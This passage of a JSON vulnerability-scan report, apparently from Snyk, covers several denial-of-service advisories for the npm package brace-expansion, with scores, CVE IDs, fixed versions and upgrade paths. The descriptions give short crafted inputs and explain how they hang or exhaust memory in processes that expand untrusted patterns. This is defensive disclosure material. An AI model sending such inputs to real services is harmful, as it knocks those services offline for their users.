"2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. 